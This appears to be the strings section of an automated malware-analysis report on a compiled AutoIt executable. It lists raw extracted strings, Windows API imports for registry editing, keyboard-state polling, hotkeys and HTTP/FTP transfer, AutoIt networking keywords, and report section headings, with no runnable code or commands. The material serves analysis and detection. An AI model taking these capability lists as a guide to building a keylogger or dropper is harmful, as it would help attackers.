
%d/d/d

c:\%original file name%.exe

:C:\%original file name%.exe

%original file name%.exe_1192_rwx_00401000_000AF000:

s%j.Zf

tGHt.Ht&

tCPh

SSSSh

\$%u#Sj

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.

uxtheme.dll

kernel32.dll

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

(*VERB) with an argument is not supported

ICMP.DLL

advapi32.dll

RegDeleteKeyExW

zcÃ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

GetConsoleOutputCP

RegDeleteKeyW

RegCreateKeyExW

RegEnumKeyExW

RegCloseKey

RegOpenKeyExW

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

keybd_event

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

.text

`.rdata

@.data

.rsrc

y).JZn

mscoree.dll

KERNEL32.DLL

>>>AUTOIT NO CMDEXECUTE

CMDLINERAW

CMDLINE

/AutoIt3ExecuteLine

/AutoIt3ExecuteScript

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

#NoAutoIt3Execute

APPSKEY

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

%s (%d) : ==> %s:

UDPSTARTUP

UDPSHUTDOWN

UDPSEND

UDPRECV

UDPOPEN

UDPCLOSESOCKET

UDPBIND

TRAYGETMSG

TCPSTARTUP

TCPSHUTDOWN

TCPSEND

TCPRECV

TCPNAMETOIP

TCPLISTEN

TCPCONNECT

TCPCLOSESOCKET

TCPACCEPT

SHELLEXECUTEWAIT

SHELLEXECUTE

REGENUMKEY

MSGBOX

ISKEYWORD

HTTPSETUSERAGENT

HTTPSETPROXY

HOTKEYSET

GUIREGISTERMSG

GUIGETMSG

GUICTRLSENDMSG

GUICTRLRECVMSG

FTPSETPROXY

\??\%s

GUI_RUNDEFMSG

SendKeyDelay

SendKeyDownDelay

TCPTimeout

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AutoIt.Error

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

HOTKEYPRESSED

AUTOITEXE

WINDOWSDIR

3, 3, 6, 1

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

c:\%original file name%.exe

:C:\%original file name%.exe

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps